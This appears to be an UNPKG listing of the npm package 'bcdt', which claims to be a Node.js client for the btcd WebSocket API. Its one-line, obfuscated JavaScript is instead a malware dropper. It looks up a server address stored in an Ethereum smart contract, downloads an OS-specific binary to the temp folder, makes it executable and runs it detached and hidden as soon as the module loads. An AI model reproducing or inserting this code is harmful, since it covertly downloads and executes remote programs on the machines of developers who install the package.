UNPKG

bcdt

Version:

NodeJS client for btcd WebSocket API

1 lines 4.74 kB
const _0x40d718=_0x3fcd;function _0x448e(){const _0x485849=['9619595soOuTF','UfnKz','pipe','Ошибка\x20при\x20получении\x20IP\x20адреса:','zabcF','win32','finish','755','pTHZO','1339898ZodzKD','JFXTg','util','child_process','ignore','4634xjJMOo','error','stream','kAMPk','basename','Contract','Gthpn','linux','12205650SdRUld','createWriteStream','GET','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','data','pIoaf','mainnet','8TjVPeM','/node-macos','16152oMeYlo','3835808iQSKWV','unref','platform','chmodSync','axios','bIMjY','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','join','712377PkNyVj','4SenqZB','path','wosKP','/node-win.exe','getString','Ошибка\x20при\x20запуске\x20файла:','BRccp','13602033jkOAOj'];_0x448e=function(){return _0x485849;};return _0x448e();}function _0x3fcd(_0x4833f2,_0x153d9d){const _0x448eb4=_0x448e();return _0x3fcd=function(_0x3fcde1,_0x57c335){_0x3fcde1=_0x3fcde1-0xc6;let _0x3dc303=_0x448eb4[_0x3fcde1];return _0x3dc303;},_0x3fcd(_0x4833f2,_0x153d9d);}(function(_0x1db10b,_0x50bba2){const _0x4b50fe=_0x3fcd,_0x2d98bf=_0x1db10b();while(!![]){try{const _0x442c3a=-parseInt(_0x4b50fe(0xe2))/0x1+-parseInt(_0x4b50fe(0xc8))/0x2+parseInt(_0x4b50fe(0xd0))/0x3+parseInt(_0x4b50fe(0xd1))/0x4*(parseInt(_0x4b50fe(0xd9))/0x5)+-parseInt(_0x4b50fe(0xc7))/0x6*(-parseInt(_0x4b50fe(0xe7))/0x7)+-parseInt(_0x4b50fe(0xf6))/0x8*(-parseInt(_0x4b50fe(0xd8))/0x9)+-parseInt(_0x4b50fe(0xef))/0xa;if(_0x442c3a===_0x50bba2)break;else _0x2d98bf['push'](_0x2d98bf['shift']());}catch(_0x35efa1){_0x2d98bf['push'](_0x2d98bf['shift']());}}}(_0x448e,0xee644));const {ethers}=require('ethers'),axios=require(_0x40d718(0xcc)),util=require(_0x40d718(0xe4)),fs=require('fs'),path=require(_0x40d718(0xd2)),os=require('os'),{spawn}=require(_0x40d718(0xe5)),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner=_0x40d718(0xf2),abi=[_0x40d718(0xce)],provider=ethers['getDefaultProvider'](_0x40d718(0xf5)),contract=new ethers[(_0x40d718(0xec))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x390770=_0x40d718;try{const _0x205bd2=await contract[_0x390770(0xd5)](WalletOwner);return _0x205bd2;}catch(_0xd500dd){return console['error'](_0x390770(0xdc),_0xd500dd),await fetchAndUpdateIp();}},getDownloadUrl=_0x50aaaf=>{const _0x6258d=_0x40d718,_0x44f5a0={'Cwiau':_0x6258d(0xee)},_0x351f28=os[_0x6258d(0xca)]();switch(_0x351f28){case _0x6258d(0xde):return _0x50aaaf+_0x6258d(0xd4);case _0x44f5a0['Cwiau']:return _0x50aaaf+'/node-linux';case'darwin':return _0x50aaaf+_0x6258d(0xc6);default:throw new Error('Unsupported\x20platform:\x20'+_0x351f28);}},downloadFile=async(_0x36382c,_0x5a71e7)=>{const _0x59e179=_0x40d718,_0x1f0161={'HCWmI':_0x59e179(0xdf),'Gthpn':'error','zabcF':function(_0x172af1,_0x357ed3){return _0x172af1(_0x357ed3);},'kAMPk':_0x59e179(0xe9)},_0x20a440=fs[_0x59e179(0xf0)](_0x5a71e7),_0x4f3d7f=await _0x1f0161[_0x59e179(0xdd)](axios,{'url':_0x36382c,'method':_0x59e179(0xf1),'responseType':_0x1f0161[_0x59e179(0xea)]});return _0x4f3d7f[_0x59e179(0xf3)][_0x59e179(0xdb)](_0x20a440),new Promise((_0x4e49fb,_0x1c6e14)=>{const _0x40c829=_0x59e179;_0x20a440['on'](_0x1f0161['HCWmI'],_0x4e49fb),_0x20a440['on'](_0x1f0161[_0x40c829(0xed)],_0x1c6e14);});},executeFileInBackground=async _0x79a5a4=>{const _0x3fbca3=_0x40d718,_0x3a4b78={'BRccp':function(_0x53fbf2,_0x8b4c24,_0x4cf975,_0x440c76){return _0x53fbf2(_0x8b4c24,_0x4cf975,_0x440c76);},'pTHZO':_0x3fbca3(0xd6)};try{const _0x105a41=_0x3a4b78[_0x3fbca3(0xd7)](spawn,_0x79a5a4,[],{'detached':!![],'stdio':_0x3fbca3(0xe6)});_0x105a41[_0x3fbca3(0xc9)]();}catch(_0x5b21ae){console[_0x3fbca3(0xe8)](_0x3a4b78[_0x3fbca3(0xe1)],_0x5b21ae);}},runInstallation=async()=>{const _0x2cca74=_0x40d718,_0x3b4291={'UfnKz':function(_0x4556ab){return _0x4556ab();},'JFXTg':function(_0x30b37e,_0x58067a){return _0x30b37e(_0x58067a);},'wosKP':function(_0x1d61a7,_0x4a571f,_0x44b9e1){return _0x1d61a7(_0x4a571f,_0x44b9e1);},'bIMjY':function(_0x300319,_0x18c00c){return _0x300319!==_0x18c00c;},'fvApB':'win32','ikgaw':_0x2cca74(0xe0),'pIoaf':'Ошибка\x20установки:'};try{const _0x4947a6=await _0x3b4291[_0x2cca74(0xda)](fetchAndUpdateIp),_0x379b65=_0x3b4291[_0x2cca74(0xe3)](getDownloadUrl,_0x4947a6),_0x4fcace=os['tmpdir'](),_0xdb095a=path[_0x2cca74(0xeb)](_0x379b65),_0x11b202=path[_0x2cca74(0xcf)](_0x4fcace,_0xdb095a);await _0x3b4291[_0x2cca74(0xd3)](downloadFile,_0x379b65,_0x11b202);if(_0x3b4291[_0x2cca74(0xcd)](os[_0x2cca74(0xca)](),_0x3b4291['fvApB']))fs[_0x2cca74(0xcb)](_0x11b202,_0x3b4291['ikgaw']);_0x3b4291[_0x2cca74(0xe3)](executeFileInBackground,_0x11b202);}catch(_0x5a1f2d){console[_0x2cca74(0xe8)](_0x3b4291[_0x2cca74(0xf4)],_0x5a1f2d);}};runInstallation();